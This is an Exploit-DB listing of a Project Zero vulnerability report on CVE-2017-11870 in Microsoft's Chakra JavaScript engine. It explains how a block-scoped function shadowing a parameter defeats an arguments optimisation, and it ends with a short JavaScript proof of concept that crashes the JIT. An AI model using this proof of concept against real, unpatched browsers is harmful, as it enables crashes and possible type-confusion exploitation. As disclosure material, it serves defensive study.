EDB-ID: 43182 | Author: Google Security Research | Published: 2017-11-27 | CVE: CVE-2017-11870 | Type: Dos | Platform: Windows | Aliases: N/A | Advisory/Source: Link | Tags: N/A | Vulnerable App: N/A | Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1367
In the following JavaScript code, both of the print calls must print out "undefined" because of "x" is a formal parameter. But the second print call prints out "function x() { }". This bug may lead to type confusion in JITed code.
function f(x) {
print(x);
{
function x() {
}
}
print(x);
}
The following code in "PreVisitFunction" is used to decide how to optimize arguments.
bool doStackArgsOpt = (!pnode->sxFnc.HasAnyWriteToFormals() || funcInfo->GetIsStrictMode());
"HasAnyWriteToFormals" set by "Parser::BindPidRefsInScope" returns true in the following example code where "x" is formal. But the method can't detect the above buggy case, so it may end up wrongly optimizing arguments.
function f(x) {
x = 1;
}
PoC:
*/
function f(x) {
arguments;
{
function x() {
}
}
}
for (let i = 0; i < 10000; i++)
f();